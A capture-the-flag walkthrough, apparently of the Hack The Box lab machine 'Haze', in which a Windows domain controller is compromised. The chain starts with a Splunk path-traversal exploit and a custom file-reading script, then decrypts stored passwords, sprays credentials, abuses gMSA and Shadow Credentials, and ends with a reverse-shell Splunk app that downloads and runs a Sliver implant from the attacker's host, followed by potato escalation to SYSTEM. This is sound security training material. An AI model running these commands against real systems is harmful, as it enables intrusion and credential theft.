Reconnaissance
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-05-18 19:25:58Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: haze.htb0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=dc01.haze.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.haze.htb
| Not valid before: 2025-03-05T07:12:20
|_Not valid after: 2026-03-05T07:12:20
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
8000/tcp open http Splunkd httpd
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was http://10.129.232.50:8000/en-US/account/login?return_to=%2Fen-US%2F
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: Splunkd
8088/tcp open ssl/http Splunkd httpd
|_http-server-header: Splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-title: 404 Not Found
| http-robots.txt: 1 disallowed entry
|_/
8089/tcp open ssl/http Splunkd httpd
| http-robots.txt: 1 disallowed entry
|_/
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2025-03-05T07:29:08
|_Not valid after: 2028-03-04T07:29:08
|_http-server-header: Splunkd
|_http-title: splunkd
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49674/tcp open msrpc Microsoft Windows RPC
51552/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
51554/tcp open msrpc Microsoft Windows RPC
51557/tcp open msrpc Microsoft Windows RPC
51571/tcp open msrpc Microsoft Windows RPC
51585/tcp open msrpc Microsoft Windows RPC
51604/tcp open msrpc Microsoft Windows RPC
51669/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 8h00m00s
| smb2-time:
| date: 2025-05-18T19:26:48
|_ start_date: N/A
The nmap scan comes back with a lot of ports. Ports like kerberos and ldap indicate I’m dealing with a Domain Controller called DC01
for the haze.htb
domain. I’ll add the domain, host and FQDN to my /etc/hosts
file.
Splunk was identified to be running on the host and that’s highly unusual.
Initial Access
Checking out the ports 8000, 8088 and 8089 associated with Splunk reveals the version number 9.2.1
. Unfortunately trying some common credentials at the login prompt is not successful.
An online search for known vulnerabilities in this version finds a proof-of-concept for CVE-2024-36991, a path traversal that can be used to leak files on the target.
The PoC script works and dumps the hashes for four accounts, but unfortunately none of them seem to be crackable.
$ python3 CVE-2024-36991.py -u http://dc01.haze.htb:8000
______ _______ ____ ___ ____ _ _ _____ __ ___ ___ _
/ ___\ \ / | ____| |___ \ / _ |___ \| || | |___ / / /_ / _ \ / _ \/ |
| | \ \ / /| _| _____ __) | | | |__) | || |_ _____ |_ \| '_ | (_) | (_) | |
| |___ \ V / | |__|_____/ __/| |_| / __/|__ _|________) | (_) \__, |\__, | |
\____| \_/ |_____| |_____|\___|_____| |_| |____/ \___/ /_/ /_/|_|
-> POC CVE-2024-36991. This exploit will attempt to read Splunk /etc/passwd file.
-> By x.com/MohamedNab1l
-> Use Wisely.
[INFO] Log directory created: logs
[INFO] Testing single target: http://dc01.haze.htb:8000
[VLUN] Vulnerable: http://dc01.haze.htb:8000
:admin:$6$Ak3m7.aHgb/NOQez$O7C8Ck2lg5RaXJs9FrwPr7xbJBJxMCpqIx3TG30Pvl7JSvv0pn3vtYnt8qF4WhL7hBZygwemqn7PBj5dLBm0D1::Administrator:admin:changeme@example.com:::20152
:edward:$6$3LQHFzfmlpMgxY57$Sk32K6eknpAtcT23h6igJRuM1eCe7WAfygm103cQ22/Niwp1pTCKzc0Ok1qhV25UsoUN4t7HYfoGDb4ZCv8pw1::Edward@haze.htb:user:Edward@haze.htb:::20152
:mark:$6$j4QsAJiV8mLg/bhA$Oa/l2cgCXF8Ux7xIaDe3dMW6.Qfobo0PtztrVMHZgdGa1j8423jUvMqYuqjZa/LPd.xryUwe699/8SgNC6v2H/:::user:Mark@haze.htb:::20152
:paul:$6$Y5ds8NjDLd7SzOTW$Zg/WOJxk38KtI.ci9RFl87hhWSawfpT6X.woxTvB4rduL4rDKkE.psK7eXm6TgriABAhqdCPI4P0hcB8xz0cd1:::user:paul@haze.htb:::20152
Since the path to /etc/passwd
is hardcoded I quickly create my own script continuously asks for an input file to retrieve.
import requests
URL = 'http://dc01.haze.htb:8000/en-US/modules/messaging/C:../C:../C:../C:../C:..'
SESSION = requests.Session()
def main():
while True:
f = input('file > ')
resp = SESSION.get(URL + f)
if 'Page not found!' not in resp.text:
print(resp.text)
else:
print('File not found')
if __name__ == '__main__':
try:
main()
except (KeyboardInterrupt, EOFError):
pass
Splunk saves secrets and passwords in many different files. One of them is authentication.conf
1 and that contains the bind user that powers the LDAP authentication. The file is present on the target and lists the user Paul Taylor
and something that looks like a hash. Actually the passwords in the configuration files are encrypted with the secret in splunk.secret
2 and that’s also available to me.
$ python3 exploit.py
file > /etc/system/local/authentication.conf
[splunk_auth]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=Paul Taylor,CN=Users,DC=haze,DC=htb
bindDNpassword = $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
file > /etc/auth/splunk.secret
NfKeJCdFGKUQUqyQmnX/WM9xMn5uVF32qyiofYPHkEOGcpMsEN.lRPooJnBdEL5Gh2wm12jKEytQoxsAYA5mReU9.h0SYEwpFMDyyAuTqhnba9P2Kul0dyBizLpq6Nq5qiCTBK3UM516vzArIkZvWQLk3Bqm1YylhEfdUvaw1ngVqR1oRtg54qf4jG0X16hNDhXokoyvgb44lWcH33FrMXxMvzFKd5W3TaAUisO6rnN0xqB7cHbofaA1YV9vgD
In order to decrypt the password I use splunksecrets, provide the file with the splunk.secret
and pass the encrypted string. This returns the password Ld@p_Auth_Sp1unk@2k24
.
$ splunksecrets splunk-decrypt --splunk-secret splunk.secret
Ciphertext: $7$ndnYiCPhf4lQgPhPu7Yz1pvGm66Nk0PpYcLN+qt1qyojg4QU+hKteemWQGUuTKDVlWbO8pY=
Ld@p_Auth_Sp1unk@2k24
Using the Distinguished Name (DN) does not work for any bind operation but trying some obvious combinations eventually finds the correct username paul.taylor
.
$ nxc ldap dc01.haze.htb -u paul.taylor \
-p 'Ld@p_Auth_Sp1unk@2k24' \
-M whoami
LDAP 10.129.232.50 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAP 10.129.232.50 389 DC01 [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
WHOAMI 10.129.232.50 389 DC01 distinguishedName: CN=Paul Taylor,OU=Restricted Users,DC=haze,DC=htb
WHOAMI 10.129.232.50 389 DC01 Member of: CN=Splunk_LDAP_Auth,CN=Users,DC=haze,DC=htb
WHOAMI 10.129.232.50 389 DC01 name: Paul Taylor
WHOAMI 10.129.232.50 389 DC01 Enabled: Yes
WHOAMI 10.129.232.50 389 DC01 Password Never Expires: Yes
WHOAMI 10.129.232.50 389 DC01 Last logon: 0
WHOAMI 10.129.232.50 389 DC01 pwdLastSet: 133920748672848579
WHOAMI 10.129.232.50 389 DC01 logonCount: 0
WHOAMI 10.129.232.50 389 DC01 sAMAccountName: paul.taylor
Privilege Escalation
Shell as mark.adams
The password itself does not sound very personalized, therefore I dump all the users with --rid-brute
in nxc to a file and then spray the password against this list. This way I find another user with the same password: mark.adams
.
$ nxc smb dc01.haze.htb -u paul.taylor \
-p 'Ld@p_Auth_Sp1unk@2k24' \
--rid-brute \
| grep 'SidTypeUser' \
| awk '{print $6}' \
| cut -d '\' -f2 \
| tee users.txt
Administrator
Guest
krbtgt
DC01$
paul.taylor
mark.adams
edward.martin
alexander.green
Haze-IT-Backup$
$ nxc smb dc01.haze.htb -u users.txt \
-p 'Ld@p_Auth_Sp1unk@2k24' \
--continue-on-success \
| grep '[+]'
SMB 10.129.232.50 445 DC01 [+] haze.htb\paul.taylor:Ld@p_Auth_Sp1unk@2k24
SMB 10.129.232.50 445 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
Having a look at the group membership reveals the group REMOTE MANAGEMENT USERS
and I can use this account to get a shell on the domain controller with evil-winrm. I follow that up by uploading my Sliver payload.
$ nxc ldap dc01.haze.htb -u mark.adams \
-p 'Ld@p_Auth_Sp1unk@2k24' \
-M whoami
LDAP 10.129.232.50 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:haze.htb)
LDAP 10.129.232.50 389 DC01 [+] haze.htb\mark.adams:Ld@p_Auth_Sp1unk@2k24
WHOAMI 10.129.232.50 389 DC01 distinguishedName: CN=Mark Adams,CN=Users,DC=haze,DC=htb
WHOAMI 10.129.232.50 389 DC01 Member of: CN=gMSA_Managers,CN=Users,DC=haze,DC=htb
WHOAMI 10.129.232.50 389 DC01 Member of: CN=Remote Management Users,CN=Builtin,DC=haze,DC=htb
WHOAMI 10.129.232.50 389 DC01 name: Mark Adams
WHOAMI 10.129.232.50 389 DC01 Enabled: Yes
WHOAMI 10.129.232.50 389 DC01 Password Never Expires: Yes
WHOAMI 10.129.232.50 389 DC01 Last logon: 133857078823159294
WHOAMI 10.129.232.50 389 DC01 pwdLastSet: 133920763678004318
WHOAMI 10.129.232.50 389 DC01 logonCount: 5
WHOAMI 10.129.232.50 389 DC01 sAMAccountName: mark.adams
Shell as edward.martin
To start things off I run bloodhound-ce-python to collect the data for BloodHound.
$ bloodhound-ce-python -d haze.htb \
-dc dc01.haze.htb \
-u mark.adams \
-p 'Ld@p_Auth_Sp1unk@2k24' \
-c ALL \
--zip \
-ns 10.129.232.50
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 8 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 04S
INFO: Compressing output into 20250518150716_bloodhound.zip
Even though the user is also part of the group gMSA_Managers
there are no outbound edges towards the account HAZE-IT-BACKUP$
in the Managed Service Accounts
organizational unit. To make sure the bloodhound-ce-python has not missed any ACLs I run Get-DomainObjectACL
from PowerView to find rights associated with the SID of the gMSA_Managers
group.
sliver (mark.adams) > sharpsh -- '-u http://10.10.10.10/PowerView.ps1 -e -c JHNpZCA9IENvbnZlcnRUby1TaWQgJ2dNU0FfTWFuYWdlcnMnO0dldC1Eb21haW5PYmplY3RBQ0wgLUlkZW50aXR5IEhhemUtSVQtQmFja3VwJCB8ID97JF8uU2VjdXJpdHlJZGVudGlmaWVyIC1lcSAkc2lkIH0='
# $sid = ConvertTo-Sid 'gMSA_Managers';
# Get-DomainObjectACL -Identity Haze-IT-Backup$ | ?{$_.SecurityIdentifier -eq $sid }
[*] sharpsh output:
ObjectDN : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
ObjectSID : S-1-5-21-323145914-28650650-2368316563-1111
ActiveDirectoryRights : WriteProperty
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 888eedd6-ce04-df40-b462-b8a50e41ba38
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 32
SecurityIdentifier : S-1-5-21-323145914-28650650-2368316563-1107
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
ObjectDN : CN=Haze-IT-Backup,CN=Managed Service Accounts,DC=haze,DC=htb
ObjectSID : S-1-5-21-323145914-28650650-2368316563-1111
ActiveDirectoryRights : ReadProperty, GenericExecute
BinaryLength : 36
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 131092
SecurityIdentifier : S-1-5-21-323145914-28650650-2368316563-1107
AceType : AccessAllowed
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None
Apparently the group has the ability to modify properties of the HAZE-IT-BACKUP$
account. I can use this to add the account mark.adams
to the attribute PrincipalsAllowedToRetrieveManagedPassword
3. Then I can run GMSAPasswordReader to retrieve the NTLM hash of the managed service account.
sliver (mark.adams) > sharpsh -- '-e -c U2V0LUFEU2VydmljZUFjY291bnQgLUlkZW50aXR5IEhhemUtSVQtQmFja3VwJCAtUHJpbmNpcGFsc0FsbG93ZWRUb1JldHJpZXZlTWFuYWdlZFBhc3N3b3JkIG1hcmsuYWRhbXM='
# Set-ADServiceAccount -Identity Haze-IT-Backup$ -PrincipalsAllowedToRetrieveManagedPassword mark.adams
[*] sharpsh output:
sliver (mark.adams) > execute-assembly -- GMSAPasswordReader.exe --AccountName Haze-IT-Backup$
[*] Output:
Calculating hashes for Old Value
[*] Input username : Haze-IT-Backup$
[*] Input domain : HAZE.HTB
[*] Salt : HAZE.HTBHaze-IT-Backup$
[*] rc4_hmac : A70DF6599D5EAB1502B38F9C1C3FD828
[*] aes128_cts_hmac_sha1 : B42551342A1FEF223A8BB3E98FC3C4A4
[*] aes256_cts_hmac_sha1 : 833F036D5BCCECBAEA1EE78FC4BFCA1DDE8A3DDB9219D3AFC86DEC06C19A3FDC
[*] des_cbc_md5 : C79129130BEC80F2
Calculating hashes for Current Value
[*] Input username : Haze-IT-Backup$
[*] Input domain : HAZE.HTB
[*] Salt : HAZE.HTBHaze-IT-Backup$
[*] rc4_hmac : 84D6A733D85D9E03F46EBA25B34517A9
[*] aes128_cts_hmac_sha1 : 1F5BA1BC7AB8BE4D7ED051DC3E9C45C6
[*] aes256_cts_hmac_sha1 : C455B59A278BFC27801245F81D61CF0B1D66D3CDAD4B4AB58B6C852141BA8B69
[*] des_cbc_md5 : 9EA2310B9D2A94AB
While looking through the BloodHound data collected with mark.adams
I’ve noticed some accounts missing that were present in the rid-brute
. Therefore I run the collection again with the HAZE-IT-BACKUP$
account by providing the hash 84D6A733D85D9E03F46EBA25B34517A9
.
$ bloodhound-ce-python -d haze.htb \
-dc dc01.haze.htb \
-u 'HAZE-IT-BACKUP$' \
--hashes :84D6A733D85D9E03F46EBA25B34517A9 \
-c ALL \
--zip \
-ns 10.129.232.50
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: haze.htb
INFO: Getting TGT for user
WARNING: Failed to get Kerberos TGT. Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.haze.htb
INFO: Found 9 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 20 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.haze.htb
INFO: Done in 00M 05S
INFO: Compressing output into 20250518165100_bloodhound.zip
After loading the new data into BloodHound there’s a new edge towards edward.martin
visible. The service account can modify the owner of the SUPPORT_SERVICES
group, effectively adding itself, and then add Shadow Credentials to the user edward.martin
.
First I replace the owner of SUPPORT_SERVICES
by HAZE-IT-BACKUP$
with bloodyAD. This allows me to grant GenericAll
and then add the account to the group itself.
$ bloodyAD --host 'dc01.haze.htb' \
-d 'haze.htb' \
-u 'haze-it-backup$' \
-p ':84D6A733D85D9E03F46EBA25B34517A9' \
set owner 'SUPPORT_SERVICES' 'HAZE-IT-BACKUP$'
[+] Old owner S-1-5-21-323145914-28650650-2368316563-512 is now replaced by HAZE-IT-BACKUP$ on SUPPORT_SERVICES
$ bloodyAD --host 'dc01.haze.htb' \
-d 'haze.htb' \
-u 'haze-it-backup$' \
-p ':84D6A733D85D9E03F46EBA25B34517A9' \
add genericAll 'SUPPORT_SERVICES' 'HAZE-IT-BACKUP$'
[+] HAZE-IT-BACKUP$ has now GenericAll on SUPPORT_SERVICES
$ bloodyAD --host 'dc01.haze.htb' \
-d 'haze.htb' \
-u 'haze-it-backup$' \
-p ':84D6A733D85D9E03F46EBA25B34517A9' \
add groupMember 'SUPPORT_SERVICES' 'HAZE-IT-BACKUP$'
[+] HAZE-IT-BACKUP$ added to SUPPORT_SERVICES
Next I’ll use certipy to automatically add new shadow credentials, retrieve the NTLM hash for edward.martin
and then remove the credential link again. Since this interaction relies on Kerberos I fake the time because the Domain Controller is 8 hours ahead. I obtain the hash 09e0b3eeb2e7a6b0d419e9ff8f4d91af
and can use it to execute my Sliver payload on the host.
$ faketime -f +8h certipy-ad shadow \
-account edward.martin \
-u 'haze-it-backup$@haze.htb' \
-hashes ':84D6A733D85D9E03F46EBA25B34517A9' \
auto
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Targeting user 'edward.martin'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '3cbf0790-5401-d10c-82e3-4dd7620c139d'
[*] Adding Key Credential with device ID '3cbf0790-5401-d10c-82e3-4dd7620c139d' to the Key Credentials for 'edward.martin'
[*] Successfully added Key Credential with device ID '3cbf0790-5401-d10c-82e3-4dd7620c139d' to the Key Credentials for 'edward.martin'
[*] Authenticating as 'edward.martin' with the certificate
[*] Using principal: edward.martin@haze.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'edward.martin.ccache'
[*] Trying to retrieve NT hash for 'edward.martin'
[*] Restoring the old Key Credentials for 'edward.martin'
[*] Successfully restored the old Key Credentials for 'edward.martin'
[*] NT hash for 'edward.martin': 09e0b3eeb2e7a6b0d419e9ff8f4d91af
Shell as alexander.green
sliver (edward.martin) > sa-whoami
[*] Successfully executed sa-whoami (coff-loader)
[*] Got output:
UserName SID
====================== ====================================
HAZE\edward.martin S-1-5-21-323145914-28650650-2368316563-1105
GROUP INFORMATION Type SID Attributes
================================================= ===================== ============================================= ==================================================
HAZE\Domain Users Group S-1-5-21-323145914-28650650-2368316563-513 Mandatory group, Enabled by default, Enabled group,
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group,
HAZE\Backup_Reviewers Group S-1-5-21-323145914-28650650-2368316563-1109 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group,
Mandatory Label\Medium Plus Mandatory Level Label S-1-16-8448 Mandatory group, Enabled by default, Enabled group,
Privilege Name Description State
============================= ================================================= ===========================
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
The user edward.martin
is part of the Backup Reviewers
group and I quickly find the Backups
folder in the root directory of the C:
drive. It apparently contains a backup of Splunk and I download the archive through Sliver.
sliver (edward.martin) > download /Backups/splunk/splunk_backup_2024-08-06.zip splunk_backup_2024-08-06.zip
[*] Wrote 27445566 bytes (1 file successfully, 0 files unsuccessfully) to splunk_backup_2024-08-06.zip
Repeating the steps from the beginning and checking out the stored authentication material in the backup finds another bind user called alexander.green
and its encrypted password.
[default]
minPasswordLength = 8
minPasswordUppercase = 0
minPasswordLowercase = 0
minPasswordSpecial = 0
minPasswordDigit = 0
[Haze LDAP Auth]
SSLEnabled = 0
anonymous_referrals = 1
bindDN = CN=alexander.green,CN=Users,DC=haze,DC=htb
bindDNpassword = $1$YDz8WfhoCWmf6aTRkA+QqUI=
charset = utf8
emailAttribute = mail
enableRangeRetrieval = 0
groupBaseDN = CN=Splunk_Admins,CN=Users,DC=haze,DC=htb
groupMappingAttribute = dn
groupMemberAttribute = member
groupNameAttribute = cn
host = dc01.haze.htb
nestedGroups = 0
network_timeout = 20
pagelimit = -1
port = 389
realNameAttribute = cn
sizelimit = 1000
timelimit = 15
userBaseDN = CN=Users,DC=haze,DC=htb
userNameAttribute = samaccountname
[authentication]
authSettings = Haze LDAP Auth
authType = LDAP
Another splunk.secret
was used to encrypt the string but luckily it’s also part of the archived data.
CgL8i4HvEen3cCYOYZDBkuATi5WQuORBw9g4zp4pv5mpMcMF3sWKtaCWTX8Kc1BK3pb9HR13oJqHpvYLUZ.gIJIuYZCA/YNwbbI4fDkbpGD.8yX/8VPVTG22V5G5rDxO5qNzXSQIz3NBtFE6oPhVLAVOJ0EgCYGjuk.fgspXYUc9F24Q6P/QGB/XP8sLZ2h00FQYRmxaSUTAroHHz8fYIsChsea7GBRaolimfQLD7yWGefscTbuXOMJOrzr/6B
Once again using splunksecrets I recover the password Sp1unkadmin@2k24
but the password is not valid anymore for the specified account.
$ splunksecrets splunk-decrypt --splunk-secret splunk.secret.bak
Ciphertext: $1$YDz8WfhoCWmf6aTRkA+QqUI=
Sp1unkadmin@2k24
It does grant me access as admin
to the Splunk interface on http://dc01.haze.htb:8000
though.
As Administrator I can also install new apps. One of those can be reverse_shell_splunk that runs a reverse shell payload right after installing it. I clone the repository, insert my IP and port into the PowerShell script, and then create the spl
file as instructed in the README of the repository.
$ git clone https://github.com/0xjpuff/reverse_shell_splunk & cd reverse_shell_splunk
$ sed -i \
-e 's#attacker_ip_here#10.10.10.10#g' \
-e 's#attacker_port_here#4444#g' \
reverse_shell_splunk/bin/run.ps1
$ tar -cvzf reverse_shell_splunk.tgz reverse_shell_splunk
reverse_shell_splunk/
reverse_shell_splunk/default/
reverse_shell_splunk/default/inputs.conf
reverse_shell_splunk/bin/
reverse_shell_splunk/bin/rev.py
reverse_shell_splunk/bin/run.ps1
reverse_shell_splunk/bin/run.bat
$ mv reverse_shell_splunk.tgz reverse_shell_splunk.spl
Navigating to Apps ⇒ Manage Apps ⇒ Install app from file, I can select the generated spl file and upload it. Before doing so I start my local listener.
Right after clicking the button there’s a callback as alexander.green
and I use this shell to run my Sliver payload.
$ rlwrap -cAr nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.174] from (UNKNOWN) [10.129.232.50] 50611
PS C:\Windows\system32> mkdir \tools
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/18/2025 4:29 PM tools
PS C:\Windows\system32> iwr http://10.10.14.174/haze.exe -useba -outfile C:\tools\r.exe
PS C:\Windows\system32> & C:\tools\r.exe
Shell as SYSTEM
Looking at the privileges associated with the account alexander.green
the SeImpersonatePrivilege
stands out and I can use it to escalate to SYSTEM
.
sliver (alexander.green) > getprivs
Privilege Information for r.exe (PID: 5048)
-------------------------------------------
Process Integrity Level: High
Name Description Attributes
==== =========== ==========
SeMachineAccountPrivilege Add workstations to domain Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled, Enabled by Default
SeImpersonatePrivilege Impersonate a client after authentication Enabled, Enabled by Default
SeCreateGlobalPrivilege Create global objects Enabled, Enabled by Default
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Through the Sliver session I execute SigmaPotato and call my previously uploaded Sliver binary. This initiates a new connection as SYSTEM
and I can read the final flag.
sliver (alexander.green) > execute-assembly -t 5 -- /home/ryuki/tools/potato/SigmaPotato/SigmaPotato.exe C:\\tools\\r.exe
[!] rpc error: code = Unknown desc = implant timeout
[*] Session 0000... haze - 10.129.232.50:50695 (dc01) - windows/amd64
sliver (alexander.green) > use 0000...
sliver (SYSTEM) > sa-whoami
[*] Successfully executed sa-whoami (coff-loader)
[*] Got output:
UserName SID
====================== ====================================
HAZE\DC01$ S-1-5-18
GROUP INFORMATION Type SID Attributes
================================================= ===================== ============================================= ==================================================
Mandatory Label\System Mandatory Level Label S-1-16-16384 Mandatory group, Enabled by default, Enabled group,
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Certificate Service DCOM Access Alias S-1-5-32-574 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\SERVICE Well-known group S-1-5-6 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group,
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group,
NT SERVICE\BrokerInfrastructure Well-known group S-1-5-80-1988685059-1921232356-378231328-2704142597-890457928 Enabled by default, Enabled group, Group owner,
NT SERVICE\DcomLaunch Well-known group S-1-5-80-1601830629-990752416-3372939810-977361409-3075122917 Enabled by default, Enabled group, Group owner,
NT SERVICE\DeviceInstall Well-known group S-1-5-80-2659457741-469498900-3203170401-3149177360-3048467625 Enabled by default, Group owner,
NT SERVICE\LSM Well-known group S-1-5-80-1230977110-1477712667-2747199032-477530733-939374687 Enabled by default, Group owner,
NT SERVICE\PlugPlay Well-known group S-1-5-80-1981970923-922788642-3535304421-2999920573-318732269 Enabled by default, Enabled group, Group owner,
NT SERVICE\Power Well-known group S-1-5-80-2343416411-2961288913-598565901-392633850-2111459193 Enabled by default, Enabled group, Group owner,
NT SERVICE\SystemEventsBroker Well-known group S-1-5-80-1662832393-3268938575-4001313665-1200257238-783911988 Enabled by default, Group owner,
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group,
BUILTIN\Administrators Alias S-1-5-32-544 Enabled by default, Enabled group, Group owner,
Privilege Name Description State
============================= ================================================= ===========================
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeLockMemoryPrivilege Lock pages in memory Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeTcbPrivilege Act as part of the operating system Enabled
SeSecurityPrivilege Manage auditing and security log Disabled
SeTakeOwnershipPrivilege Take ownership of files or other objects Disabled
SeLoadDriverPrivilege Load and unload device drivers Disabled
SeSystemProfilePrivilege Profile system performance Enabled
SeSystemtimePrivilege Change the system time Disabled
SeProfileSingleProcessPrivilegeProfile single process Enabled
SeIncreaseBasePriorityPrivilegeIncrease scheduling priority Enabled
SeCreatePagefilePrivilege Create a pagefile Enabled
SeCreatePermanentPrivilege Create permanent shared objects Enabled
